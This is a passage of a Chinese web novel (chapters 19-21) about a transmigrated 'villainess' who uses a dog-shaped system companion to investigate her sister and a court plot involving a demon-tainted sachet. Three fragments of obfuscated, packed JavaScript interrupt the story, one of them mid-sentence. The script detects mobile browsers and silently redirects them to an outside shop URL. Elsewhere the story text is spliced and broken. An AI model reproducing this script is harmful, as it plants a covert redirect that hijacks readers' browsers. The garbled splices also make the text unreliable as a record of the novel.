“雁雁,你听我说。”宋歇的声音沉稳如常,可沈如雁却感觉到他握着自己的手在微微发抖。“流商好好的,我一直守在他身边。只是风大了些,他没事。有守护阵在,那妖物绝不敢再来造次。” “你也要照顾好自己。” 她顿了顿,抬手抚上他的脸,拇指轻轻擦过他眉间那道浅疤:“信我,我不会倒的。” “王爷先回去吧,我……妾身想单独陪一陪阿弟。不守着他,我怕他醒过来觉得孤孤单单的,要去找阿娘哭鼻子呢。” 待与沈如雁告别后,宋歇走到门口。守在外面的手下早已迎上来,为他备好了车驾。宋歇脚步未停,直接翻身上车,沉声下令:“去缉妖司。” 19. 两岸青山相对出 送走那一堆装模作样嘘寒问暖的人,柳清圆总算松了口气,整个人累得直接趴在了桌上。 这帮人可真能装。 反倒是她那个二妹妹,蠢得明明白白,毒得也明明白白,逗起来还挺有意思的。 “出来吧。” 桌旁空气一阵微动,凭空浮现出一个模糊的人影,似由粉尘聚成,飘忽不定,仿佛一口气就能吹散。 那是一个状若乞丐的人,衣衫褴褛,脸上刀疤纵横,最骇人的是他那双自小臂处断去的手,伤口鲜血淋漓,一双焦烂如被沸水烫过的手虚悬在身前,森然可怖。 是谢济泫。 他嘻嘻一笑,打了个哈欠,张嘴便要去咬桌上的糕点。 柳清圆反手扣住他的手腕,仍是那张美艳绝伦的脸,语调却近乎冰冷:“阿济,你吃不了人间的东西,别再碰了。” “叫你跟紧我,现在离这么远,反噬又加重了……怎么办?” 柳清圆皱皱眉,指尖凝起一丝银光,化作利刃割开了自己的拇指,而后对准了那双飘浮着的手,几滴血缓慢地流动着,滴落在那双手上,一瞬间,便如枯木逢春般,那双手迅速恢复了过来,自动接入他的断口处,一点看不出损伤。 谢济泫挣脱她的手,没趣地坐到床沿,他灵识混沌,缺魂少魄,虽化人形,却不通人性,对柳清圆的话茫然不解,只歪头看着她。 柳清圆叹了口气,把手里那枚香囊翻来覆去看了看。 她声音不大,却字字带着凉意:“你这次下手太狠了。这些天我没给你治伤,权当略施惩戒。” 宁都侯世子跟她无冤无仇,她心里清楚得很。该报的仇一定要报,但不能牵扯无辜之人的性命。这话她说给旁边人听,也说给自己听。 香囊里的花粉还带着淡淡的妖气。柳知微手里也有一份一模一样的,她那份丢给了封瑾遥,又借力催化了妖毒,把人弄得神智不清。说实话,要不是这一手,柳知微差点就露了马脚。 柳清圆想起那天的情形,还觉得有点悬。 这份是谢济泫从沈流商那里捎来的。留着是隐患,妖气没清干净,万一查到她头上,反倒成了替罪羊。她当然知道什么对自己最有利,扔了烧了都行,可不知怎么的,她就是不想扔。 捏着香囊在指间转了转,柳清圆忽然笑了一下。 留着能做什么呢?跟柳知微谈条件?还是设个局请君入瓮,把幕后的人诈出来? 不过这把火得把她和二妹妹一起烧着才行。 她以前从不屑跟任何人站在一起,被人陷害了也懒得解释,一个人扛着就是了。可最近不知怎么生出些恶趣味来,觉得这个二妹妹……也不算太讨厌。 柳知微确实不算聪明,但慧极必伤,蠢一点反而刚刚好。她自己足够聪明就够了。置之死地而后生,那幕后之人,怎么玩得过她? 香囊被她攥进掌心,到底没扔。 “还有,你究竟藏了什么东西?你一进来我就感觉到了,灵气如此浓郁,绝非凡物。” 谢济泫有些不情愿地松开掌心,小心翼翼地递到柳清圆面前,宝贝似的给她看。 那是一支五彩鸾羽,还泛着淡淡的幽蓝光泽。柳清圆往上面渡了一点灵力,眉头立刻皱了起来。这支羽毛的主人竟然是灵族,灵族明明在千万年前就该绝迹了。更麻烦的是,这上面还附着一缕生魂。 她跟“隗”之间有感应。隗有什么本事,她就能得到什么本事,所以即便谢济泫在上面下了封印,她还是很快就感知到了那是什么。 感知清楚的那一刻,柳清圆只觉得脑袋嗡嗡的。 谢济泫居然把宁都侯府那小世子的魂给勾来了。 “阿济……”她抬起头,正对上谢济泫亮晶晶的眼睛,深吸一口气,“快把人家送回去。不然你就等着烂吧,我是不会再管你了。” 话没说完,谢济泫“呜呜”地哭了起来。配上那把公鸭嗓,哭声又粗又哑,实在不怎么好听。 柳清圆按住他的手腕,语气缓了缓:“我才刚炼了那小花妖,灵力还没稳下来。你且缓几日,等我查清楚这阵子妖乱的源头,再陪你去找他。可你只是疑惑他可能是那个人,怎能如此鲁莽,直接把生魂勾来?他的肉身已经损毁,七日之内魂魄不归其体,那就是魂飞魄散。” 窗纱外的竹影斜斜映在她半边衣袖上,她停顿片刻,像是做了决定。 “你把人家好好还回去,别再擅自行动。一切听我的。算了……还是我亲自去还,连他的肉身一起补好。我这几日要出一趟远门,你安分守在柳府。没人伤害你,你不许主动攻击别人。” 她把那支鸾羽收进储物袋,又结了个固魂的法印,防着谢济泫再偷偷作妖。 谢济泫身上的伤肉眼可见地愈合了,很快就恢复成那个清俊挺拔的少年。只是落在旁人眼里,他依旧是人群中最不起眼的那一个。 他闷闷不乐地听完,猛地一点头,唰地从窗户翻了出去。紧接着“扑通”一声,直挺挺摔在院里的花坛上。 柳清圆:“……”算了,还是先教他怎么用门吧。 院子一角,谢济泫慢慢掀起袖口,一只猫儿软软跌进他怀里。那小东西还睡眼惺忪,半眯着眼,像是在梦里没醒透。 他愣了半晌,喉咙里滚出极轻的两个字,像是怕惊醒了它。 “素鳞……” …… 书房这边,柳知微刚被便宜爹劈头盖脸训了一顿,她也没客气,当场炮轰回去。这会儿身心俱疲,只想赶紧跑回自己院子,往大软床上一瘫,抱着话本接着看,再切个果盘美美吃上一顿。结果刚到院门口,柳知微就看见一个不速之客杵在那儿。 回廊下,一袭青衣的男子正背对着她,俯身将一枚枚刻着繁复符文的铜钱,仔细埋入那棵老柳树的周围土壤中。 柳知微:? [芝麻,这素来找茬的?] 芝麻:[纪大师,纪双扉的一位远方表亲,上次找过您的茬儿。之前为封府门客,因为拍马屁有功,被封相调入缉妖司了。] 柳知微:[鸡大师?鸡简直是无妄之灾。] 哦,春日宴上把黑锅甩她身上那男的。此仇不报更待何时。 “哟,这不是……鸡大师吗?”她停下脚步,语调拖得又轻又慢,带着点故作的天真,“上次沈府花妖作乱,鸡大师神威凛凛,本小姐可是印象深刻呢。” 她踱步靠近,目光落在那些新翻的土痕上:“这是在我院子里埋什么呢?怪吓人的,该不是……要咒谁吧?” 纪春洲并未回头,手下动作不停,声音平稳无波:“柳二小姐多虑了。京都近日不甚太平,妖异频发,在下奉命为各位大人府邸布设防护阵法,以保安宁。” “哦……”柳知微拉长了声音,走到他身侧,微微倾身,似在观察那些铜钱,“缉妖司人才济济,这点小事,竟也需鸡大人亲自操劳?” 纪春洲这才直起身,拍了拍手上的泥土,侧头看向她。虽然有些奇怪这位京城小姐发音有些奇怪,他却也没说什么。 “纪某昨夜观星,见贵府上空阴气盘桓不散,非同寻常。寻常阵法恐难奏效,需以祖传驱邪秘术加固,方能保得府中清净。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576308|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳知微迎上他的目光,两人视线在空中无声碰撞。 “驱邪?”她忽然展颜一笑,明媚中却带着刺,“驱的什么邪?该不会是驱我这个‘邪祟’吧?” “柳小姐说笑了。”纪春洲顿了顿,意有所指,“有些东西,不该存于世间,强留必有灾殃,柳小姐冰雪聪明,想必明白这个道理。” “关我屁事?”柳知微忽而展眉一笑,明媚中却带着刺,“天下熙熙,天下攘攘,皆不入我的眼。它好,不必谢我;它烂,也别找我。” 她笑容不变,语气却冷了下来,“倒是鸡大师,上次春日宴上‘仗义执言’,助我洗脱嫌疑,这份人情,本小姐还没谢过呢。不知这次布阵,又是受了哪位‘贵人’所托?酬金几何?” 她指的是他上次明显将花妖之事的嫌疑隐隐引向自己的举动。 纪春洲并未被激怒,指尖一枚铜钱灵活翻转,折射着细碎的天光。 他故作风流姿态,似笑非笑道:“缉妖司行事,自有法度,收的是朝廷俸禄,办的是护佑百姓之责。柳小姐若心中坦荡,行事端正,何须担忧这区区防护之阵?” 柳知微嗤笑一声,“纪大师,选边站队是门学问,可别一时看走了眼,到时候自食其果。” 芝麻:[词库升级中……自找麻烦、自讨苦吃、玩火自焚、惹火上身、自作自受、作茧自缚……] 柳知微:“……”系统你这样很煞风景诶!一点都不帅了! 说罢,她不再看他,转身径直朝自己屋内走去,裙裾拂过石阶,带起一丝微弱的凉风。 纪春洲站在原地,望着她消失在门后的背影,手指缓缓收拢,将那枚铜钱握入掌心。 他懒洋洋地斜靠在柳树边,眼底闪过一丝晦暗。 “骄横失礼,名不虚传。” 顿了顿,又补了半句:“……有点意思。” 柳知微刚走到房门口,听见这话,整个人钉在了原地。她慢慢转过身,走回到纪春洲面前,叉着腰,仰起脸瞪他。 “你再说一遍?” 纪春洲张了张嘴,还没来得及出声,柳知微忽然像被什么东西掐住了嗓子,脸上的表情扭曲了一瞬。紧接着,她嘴里不受控制地往外蹦词儿。 “有趣,有意思,当真有意思。本宫头回见这般有趣的人。有点意思,你让本座记住了。呵,倒是有趣。本王许久没见这般胆大的。有意思,你是第一个敢跟孤这般说话的。呵,越来越有意思了。” 她越说越快,脸上的表情换了又换,一会儿冷笑一会儿挑眉,活像个被人操控的木偶。 纪春洲看傻了。 这是什么毛病? 等这波终于过去了,柳知微清了清嗓子,像什么都没发生过似的,拍拍纪春洲的肩膀:“鸡大师,习惯就好。” 说完转身回房,关上门。 门板刚合上,她就一把揪出系统,压着嗓子骂开了:“给我把这破设定删了!立刻!马上!你当我是人机啊?那是什么狗屎AI语音播报!” 纪春洲不知道的是,刚才短短几句话的时间里,她已然完成了从高冷太子到邪魅魔尊、再到腹黑王爷的史诗级角色切换,堪称面瘫界的影帝,全程飙戏不动声色。 系统默默挨完这顿骂,等她喘气的工夫,立刻谄媚地凑上来,不知道从哪儿摸出一个小金人,双手捧着递到柳知微面前:“宿主大大消消气,您看这个……” 柳知微接过来一看,还挺沉。再仔细一瞧,巧克力外头裹了层金纸壳子。 她又揍了系统一顿。 芝麻:【……】 20. 佳期好在月明楼 夜风穿过庭院,带着药草的清苦气息。柳知微站在满院晾晒的药材间,深深吸了口气。 这具身体当真是不容易。爹不疼娘不在,活在世上唯唯诺诺,生生把自己熬成了个药罐子,连呼吸间都带着汤药味。 她推门进屋,点了灯。昏黄的光晃了晃,映在窗纸上。 【上班上班上班上班!】 芝麻在脑子里炸开了锅,【宿主,你躺五天了!剧情不走,支线不推,你不做任务,俺们哪来的积分啊?!】 柳知微端起茶盏,慢悠悠抿了一口:“五天里我有两天在昏迷。” 【那也……】芝麻声音小了下去,【那也算是摆烂。】 柳知微没搭理它。 春日宴那场风波过后已经五天了,沈流商至今还躺在床上,命悬一线。外头传言纷纷,矛头直至柳知微,毕竟在众人眼里,她就是那个骄纵善妒的恶毒女配,怎么看她都脱不了干系。更何况她还是最早清醒过来的那个,怎么看都可疑。柳知微后来借着系统查过,那些流言大多是封家在背后推波助澜,存心要把她逼上绝路。 当过恶毒女配,死过那么多回,她要是再不学着长点心眼子,那就真是白死了。 这几天除了留意封家那边,她都在竖着耳朵听听雨轩那边的动静。 柳清圆那日早晨一醒,整个柳府就炸了。她那便宜爹带着一帮姨娘下人,把听雨轩围得水泄不通,不知道的还以为里头住着皇帝老儿。更绝的是封家也派了人来,嘘寒问暖还不够,直接送了好几个仆婢过去伺候。 那架势,明摆着是把柳清圆当自家儿媳妇看了。 柳知微靠在窗边磕着瓜子,心里头门儿清。原著里就是这么写的,封瑾遥中意柳清圆,春日宴上又被她救了一命,婚事顺理成章。可问题是,现在封瑾遥还躺在床上神志不清呢,这婚约怎么还往人头上扣? 封家这心也忒大了点。 不过话说回来,这回到底是谁在背后牵线搭桥,她还真不太摸得准。只得趁着今天晚上去探探。 她靠在椅背里,眯眼望着头顶横梁,指尖无意识地绕着发尾。这时,院门口传来轻轻的脚步声,伴着一声柔柔的呼唤。 “二妹妹在吗?” 柳知微抬眼,看见她一身藕荷色裙子,盘里几块玉兔糕做得白白胖胖,红豆点的眼睛,活灵活现。 “午睡可好?我新做了糕点,想着你喜欢软糯的,就送来些。”柳清圆笑得温温柔柔,看她的眼神满是关切。 这几日,柳清圆苏醒的消息在京中传开了。缉妖司的纪双扉给她施了“护灵咒”,说是以防邪祟侵扰。这法子对封瑾遥和沈流商都不管用,相较之下大家看她体表无伤、脉象平稳,便都松了口气,说她当真是天降福星。 倒是柳知微的名声,一日比一日坏了,她现在没心情演什么姐妹情深。 “别占我面前的地。”柳知微垂眼,看着在自己裙边蜷成一团的光影小狗,“晃眼。” 系统芝麻抬头看她一眼,尾巴轻轻摆了两下,化作一道流光钻进了袖子里。 这话不是冲着柳清圆说的,却也没给她什么好脸色。旁边的张嬷嬷倒是识趣,笑着伸手接过瓷盘:“劳清圆姑娘想着,这糕点真精巧。姑娘大病初愈,还费这个心。” 不是“大小姐”,也不是“您”。 柳清圆也不恼,笑得更柔了,目光有意无意地扫过柳知微裙摆,那是刚才小狗停留的地方,现在空无一物。 “莺莺喜欢就好。刚才看你一个人出神,是不是有什么心事?愿意的话,说给姐姐听听?” 她说着,往前挪了半步,想挨着竹椅坐下,姿态亲昵。 柳知微这才抬头,云淡风轻地随意扫她一眼。依旧是那张如诗如画的脸庞,太周全,太完美,像精心描画的面具,一点瑕疵都没有,风姿十分动人。 这温柔似雾如纱,最是惑人心神。只待你沉溺其间、神魂俱松的刹那,那层娇柔皮囊下,便乍现森森利齿与猩红长舌,将你囫囵吞尽,连骨血都不余半分。 就像是只披着美人皮的画皮鬼,却将一身森然鬼气,敛成了小白兔似的无辜与乖巧。 柳知微很讨厌这种把握不住的感觉。 袖子里的小狗芝麻酱感觉到了她的紧绷,毛茸茸的脑袋轻轻顶了顶她手腕,带着安抚的劲儿。同时,一行小字在她视野边儿上冒出来。 【检测到目标:柳清圆。她看似从容不迫,实则时刻忧心妹妹的安危,随身携带着一个可疑的香囊,内中似藏有不可告人的秘密。】 [香囊?] 柳知微心头微微一动,面上却依旧不动声色。 “没什么要紧的。”她随手拿起一块玉兔糕,指尖感受着微凉的触感,“就是看海棠花影走神了。姐姐近来可好?气色瞧着更好了。” 她借着低头看糕点的动作,避开了柳清圆那双过分清澈的眼睛。 柳清圆也不追问,拿起另一块糕点,细声细气说起女红课上的小事,声音依旧温柔得体。 两人就这么坐在海棠树下,有一搭没一搭地聊着闲话。阳光穿过枝叶,在身上落下晃动的光斑。玉兔糕又甜又软,入口即化,可柳知微吃着,总觉得滋味有点复杂。 柳知微心下暗忖:这古早文女主人设一崩,倒真是不容小觑。如今连她也看不透柳清圆在打什么主意了。 腿边,芝麻又悄悄跑了出来,毛茸茸的身子暖烘烘贴着她。只有她能感觉到那条偶尔摇晃的尾巴尖,轻轻扫过裙摆。 柳清圆没走。 她接过张嬷嬷递来的茶,慢悠悠啜了一口,目光落在墙角那株开得正盛的牡丹上。 柳清圆忽然问:“莺莺,你听说过京城的明月楼吗?” 柳知微正逗着袖子里旁人看不见的芝麻,指尖顿了顿。 这是把她当小绵羊哄了,以为编个故事就能让她消气儿了? “妹妹长在京城,想来也是知道的吧。我在越家溪养病时,听人讲过一段传说。”柳清圆指尖在杯沿上慢慢划了一圈,“前朝有位小姐,住在明月楼里。到了择婿那天,她把城里的年轻公子都请来,以花为信,约在四月十五月圆夜,楼顶露台相见。” “这种街巷传闻何必听信……”柳知微问,“不过聊着倒也新鲜,后来如何?” 芝麻:【……宿主大大你承认吧,你就是小绵羊!】 “后来有个书生当真来了,还带了株用心头血换来的牡丹,说花永不败。他在露台上等了三天三夜。”柳清圆顿了顿,嘴角微微扬起,带着点说不清的意味,“可那位小姐没来。来的是一场天火,烧了大半座楼。终于那女子抱着牡丹葬身火海,两个人化成蝴蝶飞走了。” 柳知微没接话,等她继续说。 “然后京城就有了个说法,说四月十五去明月楼能保姻缘。”柳清圆笑了笑,“我听着倒觉得挺有意思的。” “怎么,妹妹竟没听过?” 柳知微端起茶抿了一口,避而不答:“姐姐怎么突然说起这个?”除了原著以外的隐藏剧情都得靠她自己补,她能晓得才怪啊! “看花开得好,随口一提。”柳清圆顿了顿,声音忽然轻下来,“不过说来也怪,我这些日子总做些奇怪的梦,偶尔还能闻到牡丹香。” 她看向柳知微,目光里带着一点探究:“就跟妹妹身上的香味一样。” 说什么土味情话啊? 柳知微扯了扯嘴角:“我不喜欢牡丹,觉得太艳了。多谢姐姐提醒,明天我就让人把这花扔了。” “也不是全不好看。”柳清圆笑了笑,没再继续这个话题,转而说道,“前几日听说你跟封相大人之间有些误会,我一直挂心着。你要是愿意说,咱们姐妹聊聊,免得心里存了疙瘩。” 她叹了口气,声音里带上一丝忧虑:“毕竟往后可能也不常走动了。封世叔那边似乎有意上门商议婚约的事。” 顿了顿,她看着柳知微,语气越发柔和:“莺莺,你跟封公子从小就认识。要是因为这件事……我心里实在过意不去。” 柳知微捏着手里半块糕点,指尖微微收紧。 她抬起头,笑了笑:“姐姐说哪里话。婚事向来是父母之命,何况瑾遥哥哥跟姐姐早有婚约。莺莺虽然不懂事,但这个道理还是明白的。” 她把糕点放下,拍了拍手上的碎屑:“姐姐不用替我操心。倒是姐姐自己,瑾遥哥哥现在那个样子……姐姐真要嫁过去,才是受委屈。” 停了停,她又补了一句,语气听着客气,却带着点讽刺的意味:“姐姐不是想去明月楼保姻缘吗?那妹妹陪你去就是了。愿老天保佑姐姐和瑾遥哥哥长长久久,朝暮相守。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576309|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳清圆睫毛颤了颤,眼底闪过一丝意外,但很快又被温柔盖过去:“莺莺总是替我着想。” 她伸手想握柳知微的手,到了半途又收回来,低头理了理袖口:“姐姐只盼着你将来能遇到真正对你好的人。” “借姐姐吉言了。”柳知微站起来,“夜深了,我先回屋歇着。姐姐也早点回去吧,身子刚好,别吹太久的风。四月十五明月楼的日子,我陪姐姐一道去看看就是了。” 柳清圆点点头,端着空瓷盘起身走了。阳光底下,她的背影显得有点单薄。 直到那抹藕荷色消失,柳知微才吐了口气。袖子里,芝麻钻出脑袋,“汪”了一声。 【检测到重要剧情线索在女主身上,请宿主注意查探!】 “女主这是怎么了?倒像跟我交代遗言似的……我又不是男主,接不住她这‘待我凯旋,便来娶你’的戏码。” 柳知微正揉着额角,忽然眼角余光扫到石凳底下有个香囊。她扭头一看,芝麻在旁边吐着舌头,一脸得意求夸奖,原是它刚才偷偷把这叼下来的。 柳知微拍拍它的脑袋,捡起这香囊,忽的一封书信的虚影晃晃悠悠飘在她面前,边儿上泛着柔光。 这香囊里除了花粉外,还藏着一封书信。经系统检测,原本被墨汁涂掉的几行娟秀小字,渐渐显露了出来。 “心悠悠,水游游,东山花嫋嫋。烛欣欣,雨晴晴,明月薄薄云。瑛粉粉,粥粥温,一枝闲在候卿卿。——顾兔,灯下,书奉仙卿亲启。” 柳知微盯着电子屏上那堆弯弯绕绕的词儿,眉头拧成了川字。 这真是中文?字儿都认识,凑一块儿跟天书似的。 芝麻:【……宿主,需要解读服务吗?】 柳知微:“你说呢。” 【咳咳。】芝麻清了清嗓子,努力正经起来,【欢迎收看《芝麻酱的离谱百科》!小课堂开课啦——】 柳知微:“你刚才是不是在偷笑?” 【宿主,本系统正在进行严肃教学。老师上课就得好好听讲知道不!】电子音里透着一本正经。 “你跟谁俩呢?” 芝麻:……(T▽T)吾命休矣! 【宿主大大请冷静!】 【警告:宿主情绪波动检测。执行预设响应方案PLAN-B。正在加载交互优化模块……载入完成。新协议:情感支持模式已激活。您的小狗已上线!】 系统更新了外观,一只毛茸茸的柴犬凭空出现,正蜷在她月白的裙摆边上,暖烘烘地挨着她的腿。它仰起头,湿漉漉的黑鼻子凑过来蹭她垂在椅边的手,脖子上挂的小金牌子晃了晃。 【柳知微的狗-芝麻酱(仅宿主大大可见,得号令方可显形)】 “汪!”柴犬尾巴摇得欢,电子音从狗嘴里冒出来,“检测到宿主怒气值30%,启动摇尾巴程序!启动蹭蹭程序!” 柳知微捏住它毛茸茸的嘴:“说人话。” 狗爪子笨拙地扒拉她的裙角,比划出一个小爱心的光影:“宿主大大,刚才是我不好。咱们……先撸狗,消消气?” 真杀招在这儿呢。 那团光影凝成的小狗没按程序卖乖,只是轻轻歪了歪头,那双虚拟的眼睛湿漉漉地望着她。然后它伸出两只前爪,软乎乎地、有点笨拙地,环住了她的手腕。 毛茸茸的暖意顺着皮肤爬上来,像捂了个小暖炉。 柳知微心里默念三遍“不能向萌物投降”,然后听见自己心里“咔哒”一声。 原则?什么原则?在毛茸茸面前不值一提。 她眯起眼:“不准变回去。” 系统:【汪。】 “不准有蛋蛋。” 系统:【……汪汪。】 “叫主人。” 系统:(⊙_☉) 柳知微双手捧住它虚拟的狗脸,揉了揉:“叫不叫?” 系统周身的光晕都羞成了淡粉色,电子音闷闷地从她掌心传出来:“……主人。汪汪汪汪汪。” 柳知微满意了,松手,指尖在它脑门那圈虚拟的绒毛上挠了挠。 “乖。说正事儿吧,dog酱。” 原本还蜷在她裙边撒娇的光影小狗立刻坐直了,虽然还是狗样儿,眼神却专注起来。一道半透明的光屏在它身前展开,字儿刷刷地滚。 21. 那就撕碎这命数 【获得一首被涂掉的情诗,其余信息暂待解锁。经检测,该诗与女主“柳清圆”人设崩坏有重大关联!已存入空间。】 【获得一个装有“合情香”花粉的香囊,此为花妖支线关键线索,内含春日宴花妖NPC妖毒残余,危险评级:四颗星。角色“柳知微”嫌疑上升!宿主已获缉妖司重点关注,请尽快定夺!】 柳知微扫了眼系统弹窗,眉梢微微一挑。 “春日宴那天的妖气残留?”她把那条信息又读了一遍,捏着下巴思索片刻,“这香囊里的是合情香?不对啊,我之前那份不是全用在封瑾遥身上了吗?这又是从哪儿冒出来的?还是从柳清圆身上掉下来的……” 她顿了顿,忽然觉得后脖颈有点凉。不是,该不会自己被女主摆了一道吧? 柳清圆要是重生了,或者干脆有了什么预知能力,再有医毒双修的设定加持,那她趁自己动手之前偷偷换掉或者复刻一份合情香,也不是不可能。 柳知微回忆了一下春日宴上柳清圆那些反常举动,明明应该和封瑾遥有互动的人,全程躲得跟躲瘟神似的。还有那会儿拦住她,莫名其妙来一句“别把那东西送出去”,当时她还以为女主脑子抽了。 再加上春日宴前夕,柳知微摸黑溜进柳清圆房里换衣服,就听见她梦游的时候嘴里翻来覆去念叨什么“火”“阿爷”“婶娘”…… 柳知微眼睛一亮。 “系统,女主的人设崩坏,跟预知梦有关系吧?” 【bingo!恭喜宿主大大发现盲点,解锁关键词:“作梦中梦,见身外身”,“女主人设崩坏”支线探索进度25%!】 【奖励已发放,明晚便可降落于柳府听雨轩。宿主可获得对女主进行一次性催眠的机会,时限十五分钟。请速速前往听雨轩,在确保不暴露身份的前提下,对女主进行催眠,套出支线线索!】 柳知微看完奖励说明,嘴角慢慢翘起来。 “统子,你可真算是有用了一回哦。”她把香囊收进袖中,理了理衣襟,转身朝听雨轩的方向走去,步子不急不慢,眼底却带着几分跃跃欲试的光。 按照系统规定,在古早虐恋文里,女主重生这种情况是严格禁止的,属于重大bug。只要柳知微能证实女主确实重生了,她就有机会直接向系统申请抹除这个bug。到那时候,所有女主被虐的剧情都能一键跳过,而她则可以趁机夺舍女主,名正言顺地掌控整个世界,随心所欲。 芝麻的狗耳朵抖了抖:【宿主大大,你这恶毒女配的味儿又出来了。】 “闭嘴。”柳知微吹熄烛火,室内陷入黑暗,只有月光透过窗棂,在地上洒下斑驳银辉。 “大姐姐,”她轻声道,声音散在夜风里,“你可要好好配合啊,毕竟你说过的,我是你最最喜欢的妹妹啊。” “所以,要说话算话哦。” 柳知微心情十分愉悦,她移开衣袖,底下露出一枚兔子模样的糕点。她将兔子糕轻轻放进小狗嘴里。 “嗯,如今也是有狗的人了。”她揉了揉小狗的脑袋,“好好做任务,赚狗粮。” 系统:[TVT呜呜呜,宿主大大么么哒~] 得遇如此主人,纵为犬马亦不枉。 …… 春日宴祸起两日后,封相府内。 还未进花厅,便听见里头传来瓷器碎裂的声响。封相的怒喝穿透门廊:“一群废物!两天了,连个妖气的源头都摸不清,缉妖司养你们吃白饭吗?!” 纪双扉脚步未顿,示意引路的仆从不必通报,径自掀帘而入。 厅内一片狼藉,几名缉妖司的法术师都垂首站着,地上是泼开的茶渍和碎瓷。封相背对着门,胸膛剧烈起伏,听见动静猛地回头,目光落在纪双扉身上时,微微一顿。 “封相大人。”纪双扉抱拳一礼,神色沉稳。 “双扉,你来得正好。”封相挥手屏退左右,待厅中只剩二人,才沉声道,“这帮家伙全是些废物,可怜我家瑾遥现在还是疯疯癫癫的……你今日来可是已经有进展了?” 纪双扉上前半步,压低声音:“属下连日以寻踪之术遍查城中妖气,今日终于有了眉目,那妖气的源头,正在柳府那二位小姐身上。” 封相目光骤然凝结:“柳清圆和柳知微?” “正是。”纪双扉面色凝重,“臣反复验证,绝无差错。封公子与柳家女同席落水,而后癫狂至此,恐怕正是因那二位小姐身上所携妖物作祟。” 封相一掌拍在桌案上,青瓷茶盏震得哐当作响:“果然是柳家!” “大人息怒。”纪双扉抬眼,声音更沉了几分,“属下另有一策,或可救回公子。” “说。” “缉妖司有一秘法,名曰‘搜魂’。若能在当事人不抵抗之时施法,可探知其昏迷前最深刻的记忆碎片。那日究竟是何妖邪作祟、又该如何化解,此法或能窥见端倪,找到救治公子的关键。若能将那二位带来施法,余下的问题便可迎刃而解。” 封相眉头紧锁:“搜魂……此法可有损伤?要是查到本相头上该如何?” 纪双扉略一停顿,神色坦然:“搜魂之后,寻常人皆会神志不清,而且属下会抹除她们的部分记忆。这于大人而言,反倒无甚妨碍。” 厅中寂静片刻。封相缓缓抬眼,目光深沉地盯着他:“继续说下去。” 纪双扉唇角一勾:“封相大人与柳尚书私交甚笃,想来为了替封相大人分忧,柳尚书该是舍得自己那两个女儿的。属下近日夜观星象,柳家长女柳清圆与封公子堪称天作之合,若能结为连理,在婚礼上借她之命,便可破封公子的‘障’。至于破解所需的牵引之人……柳家女柳知微最合适不过,不知这法子,可还合封相大人心意?” 他垂下眼帘,声音平稳如常:“臣受大人提拔多年,无以为报。封公子的病,不能再拖了。” 封相盯着他看了许久,终于眼带赞许地拍了拍他的肩头:“……好!双扉啊,不枉我提拔你们纪家兄弟一场,果然真心为我分忧!比这些酒囊饭袋强多了。” “柳文渊那只老狐狸与我封家尚有婚约在身,此时正该他表露忠心。不过在那之前,你要尽快对柳知微那毒妇施展搜魂之术。听说她竟清醒了过来,真是命大!我要让她也尝尝我孩儿受过的苦楚。这几日柳文渊那边我自会安排,一有消息便告知于你,只等时机一到,瓮中捉鳖!” “大人放心。”纪双扉抱拳,“臣定不负所托。” 话音刚落,一阵慌乱的脚步声由远及近,仆役连滚带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576310|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬冲进花厅,脸色煞白:“相爷!不好了!公子他、他又发作了,这次……这次呕出血来了!” 封相脸色骤变,拂袖便往后院赶。纪双扉默默跟上,袖中的手悄然握紧。 …… 婚期定在四月十八,柳府上下这些日子忙得脚不沾地,全是为着和封家那场婚事。柳文渊自然是求之不得。他原还担心着,柳知微那么一闹,封相这棵大树怕是就此别过,他心慌了好一阵,甚至想过让柳知微赶紧去赔罪领罚,好保住柳家。如今封相居然还肯续这门亲,他已是喜出望外。 柳文渊本想让柳知微去跪祠堂,免得她又闹出什么乱子,可这些天柳知微倒也安分,没再生事,他更是暗自得意。只是仍不忘叮嘱下人,别让柳知微靠近听雨轩,还要盯紧了她,只许她在自己院里好好思过,尽管柳知微向来拿他的话当放屁。 柳知微没事儿就跑到听雨轩那边溜达,她留意到,听雨轩外守卫比平日更严密,除了柳府的人还有一些封相派来的人,明为保护实为监视。 这几日柳清圆却是安静待在房中,试嫁衣,听礼仪,偶尔发呆,一副待嫁少女的模样,完美无瑕。 柳知微开始好奇,柳清圆到底是怎么想的。 她穿越万世,见过太多所谓“虐恋文”里的女主。那些女子总像出自同一个模子:骨子里刻着牺牲,自愿为男主挡剑,为家族承受屈辱,为所谓爱情吞下一切误解。她们善良得近乎天真,却也因此承受着最深的苦。 